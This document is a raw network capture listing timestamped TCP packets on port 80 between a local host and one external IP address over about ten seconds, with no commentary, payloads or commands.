Feb 7, 2023 23:09:21.024003029 CET	80	50211	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.024152994 CET	50211	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.026369095 CET	50212	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.085931063 CET	80	50212	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.091089010 CET	80	50212	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.091227055 CET	50212	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.197307110 CET	50212	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.198390961 CET	50213	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.256758928 CET	80	50212	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.257507086 CET	50212	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.258784056 CET	80	50213	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.258963108 CET	50213	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.269830942 CET	50213	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.331473112 CET	80	50213	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.333647966 CET	80	50213	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.336002111 CET	50213	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.448623896 CET	50213	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.449440002 CET	50214	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.509212017 CET	80	50213	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.510989904 CET	80	50214	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.511168957 CET	50213	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.511234999 CET	50214	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.511863947 CET	50214	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.573209047 CET	80	50214	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.577199936 CET	80	50214	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.579232931 CET	50214	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.709655046 CET	50214	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.710671902 CET	50215	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.771058083 CET	80	50215	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.771123886 CET	80	50214	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.771365881 CET	50214	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.772161961 CET	50215	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.772161961 CET	50215	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.832593918 CET	80	50215	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.834883928 CET	80	50215	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.835031033 CET	50215	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.946360111 CET	50215	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.947060108 CET	50216	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.007113934 CET	80	50215	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.007622004 CET	50215	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.009409904 CET	80	50216	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.009593964 CET	50216	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.010257959 CET	50216	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.072576046 CET	80	50216	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.076227903 CET	80	50216	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.076329947 CET	50216	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.181505919 CET	50216	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.182532072 CET	50217	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.243139029 CET	80	50217	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.243310928 CET	50217	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.243701935 CET	80	50216	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.243777990 CET	50216	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.244328976 CET	50217	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.304867983 CET	80	50217	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.307096004 CET	80	50217	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.307221889 CET	50217	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.415426970 CET	50217	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.418358088 CET	50218	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.476057053 CET	80	50217	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.476221085 CET	50217	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.478914022 CET	80	50218	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.479535103 CET	50218	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.479535103 CET	50218	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.540050030 CET	80	50218	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.542292118 CET	80	50218	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.542721033 CET	50218	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.649600029 CET	50218	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.650628090 CET	50219	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.710241079 CET	80	50218	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.710326910 CET	80	50219	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.710521936 CET	50218	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.710541964 CET	50219	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.722186089 CET	50219	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.782342911 CET	80	50219	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.784706116 CET	80	50219	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.784890890 CET	50219	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.917659998 CET	50219	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.918571949 CET	50220	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.977185965 CET	80	50219	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.977394104 CET	50219	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.981153011 CET	80	50220	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:22.981381893 CET	50220	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:22.982034922 CET	50220	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.044395924 CET	80	50220	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.048352957 CET	80	50220	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.048449039 CET	50220	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.166484118 CET	50220	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.167321920 CET	50221	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.229073048 CET	80	50220	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.229259014 CET	50220	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.229778051 CET	80	50221	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.229911089 CET	50221	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.231200933 CET	50221	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.293872118 CET	80	50221	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.295761108 CET	80	50221	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.295937061 CET	50221	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.400343895 CET	50221	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.401078939 CET	50222	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.461533070 CET	80	50222	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.461663961 CET	50222	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.462975025 CET	80	50221	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.463053942 CET	50221	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.463165045 CET	50222	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.523657084 CET	80	50222	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.525696039 CET	80	50222	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.525918007 CET	50222	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.637840033 CET	50222	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.638034105 CET	50223	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.698309898 CET	80	50222	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.698417902 CET	50222	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.700345993 CET	80	50223	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.700484037 CET	50223	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.700905085 CET	50223	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.763226986 CET	80	50223	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.765327930 CET	80	50223	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.765440941 CET	50223	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.885925055 CET	50223	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.886596918 CET	50224	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.948676109 CET	80	50223	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.948867083 CET	50223	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.949259043 CET	80	50224	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:23.949417114 CET	50224	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:23.949840069 CET	50224	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.013439894 CET	80	50224	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.015782118 CET	80	50224	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.015903950 CET	50224	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.120615959 CET	50224	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.121537924 CET	50225	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.182126999 CET	80	50225	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.182252884 CET	50225	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.182754993 CET	80	50224	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.182846069 CET	50224	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.183238983 CET	50225	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.243757010 CET	80	50225	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.246649027 CET	80	50225	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.248668909 CET	50225	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.353212118 CET	50225	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.354172945 CET	50226	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.416207075 CET	80	50225	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.417113066 CET	80	50226	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.417258024 CET	50225	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.417320013 CET	50226	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.417895079 CET	50226	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.479134083 CET	80	50226	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.481350899 CET	80	50226	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.483432055 CET	50226	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.587814093 CET	50226	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.591341019 CET	50227	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.649138927 CET	80	50226	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.649544954 CET	50226	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.652555943 CET	80	50227	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.658389091 CET	50227	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.691349983 CET	50227	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.752676010 CET	80	50227	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.755100012 CET	80	50227	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.756360054 CET	50227	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.895237923 CET	50227	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.896064043 CET	50228	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.956739902 CET	80	50227	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.957483053 CET	80	50228	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:24.957734108 CET	50228	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.958281994 CET	50228	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:24.958851099 CET	50227	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.019722939 CET	80	50228	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.022794962 CET	80	50228	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.022969007 CET	50228	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.146037102 CET	50228	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.147118092 CET	50229	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.209336996 CET	80	50228	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.210349083 CET	50228	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.210510015 CET	80	50229	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.210628033 CET	50229	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.211608887 CET	50229	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.273956060 CET	80	50229	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.275871992 CET	80	50229	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.278752089 CET	50229	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.384773016 CET	50229	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.385731936 CET	50230	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.447189093 CET	80	50229	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.447274923 CET	80	50230	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.447367907 CET	50229	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.447925091 CET	50230	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.448060989 CET	50230	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.509596109 CET	80	50230	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.512218952 CET	80	50230	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.512379885 CET	50230	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.636339903 CET	50230	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.636781931 CET	50231	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.697107077 CET	80	50231	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.697267056 CET	50231	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.697760105 CET	50231	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.698101997 CET	80	50230	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.698195934 CET	50230	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.778316975 CET	80	50231	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.781003952 CET	80	50231	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.781168938 CET	50231	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.900441885 CET	50231	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.902601004 CET	50232	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.960927010 CET	80	50231	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.961134911 CET	50231	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.964813948 CET	80	50232	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:25.965078115 CET	50232	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:25.965511084 CET	50232	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.028307915 CET	80	50232	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.030555964 CET	80	50232	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.030803919 CET	50232	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.142262936 CET	50232	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.144845009 CET	50233	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.205693007 CET	80	50232	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.205866098 CET	50232	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.206525087 CET	80	50233	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.206685066 CET	50233	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.208390951 CET	50233	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.271089077 CET	80	50233	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.273317099 CET	80	50233	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.273510933 CET	50233	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.619074106 CET	50233	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.619913101 CET	50234	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.679444075 CET	80	50233	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.679712057 CET	50233	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.680373907 CET	80	50234	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.680521011 CET	50234	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.686624050 CET	50234	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:26.747307062 CET	80	50234	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.749392033 CET	80	50234	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:26.749584913 CET	50234	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.031560898 CET	50234	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.032438040 CET	50235	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.092672110 CET	80	50234	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.092874050 CET	50234	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.092974901 CET	80	50235	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.093097925 CET	50235	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.132915020 CET	50235	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.192208052 CET	80	50235	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.195987940 CET	80	50235	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.196149111 CET	50235	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.365457058 CET	50235	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.368776083 CET	50236	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.424885988 CET	80	50235	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.425088882 CET	50235	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.430207968 CET	80	50236	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.430464029 CET	50236	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.474416018 CET	50236	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:27.535927057 CET	80	50236	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.538129091 CET	80	50236	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:27.538275003 CET	50236	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.099577904 CET	50236	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.100316048 CET	50237	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.160876989 CET	80	50237	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.160909891 CET	80	50236	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.161163092 CET	50236	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.162056923 CET	50237	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.175009012 CET	50237	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.237720966 CET	80	50237	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.239854097 CET	80	50237	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.239983082 CET	50237	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.396308899 CET	50237	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.397255898 CET	50238	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.456912041 CET	80	50237	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.457103968 CET	50237	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.459557056 CET	80	50238	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.459733963 CET	50238	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.505872011 CET	50238	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.568150997 CET	80	50238	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.570128918 CET	80	50238	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.570260048 CET	50238	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.720549107 CET	50238	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.721508980 CET	50239	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.782949924 CET	80	50238	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.783185959 CET	50238	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:28.783936024 CET	80	50239	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:28.784070015 CET	50239	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:29.333775997 CET	50239	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:29.396255970 CET	80	50239	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:29.398273945 CET	80	50239	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:29.398483992 CET	50239	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:29.548607111 CET	50239	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:29.549500942 CET	50240	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:29.610826969 CET	80	50240	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:29.610987902 CET	80	50239	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:29.611124039 CET	50240	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:29.611196041 CET	50239	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.031559944 CET	50240	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.092854023 CET	80	50240	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.096462965 CET	80	50240	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.096658945 CET	50240	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.281307936 CET	50240	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.283428907 CET	50241	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.342798948 CET	80	50240	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.342869043 CET	50240	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.344687939 CET	80	50241	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.344777107 CET	50241	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.345221996 CET	50241	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.406536102 CET	80	50241	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.408487082 CET	80	50241	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.408560038 CET	50241	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.525979996 CET	50241	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.526910067 CET	50242	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.587306023 CET	80	50241	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.587404966 CET	50241	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.588845015 CET	80	50242	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.588956118 CET	50242	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.589447021 CET	50242	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.651483059 CET	80	50242	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.653734922 CET	80	50242	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.653872013 CET	50242	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.782541990 CET	50242	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.783324957 CET	50243	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.842690945 CET	80	50243	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.842969894 CET	50243	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.844573975 CET	50243	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.844798088 CET	80	50242	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.844929934 CET	50242	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:30.903812885 CET	80	50243	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.906086922 CET	80	50243	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:30.906239033 CET	50243	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.031673908 CET	50243	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.032488108 CET	50244	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.091053009 CET	80	50243	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.091150045 CET	50243	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.094845057 CET	80	50244	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.095020056 CET	50244	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.095484972 CET	50244	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.158581018 CET	80	50244	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.160924911 CET	80	50244	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.161117077 CET	50244	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.276164055 CET	50244	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.278132915 CET	50245	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.337723017 CET	80	50245	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.337893009 CET	50245	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.338382006 CET	50245	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.338500023 CET	80	50244	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.338581085 CET	50244	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.397933006 CET	80	50245	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.401182890 CET	80	50245	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.401405096 CET	50245	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.510500908 CET	50245	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.511333942 CET	50246	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.570313931 CET	80	50245	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.570655107 CET	50245	80	192.168.2.7	62.204.41.4
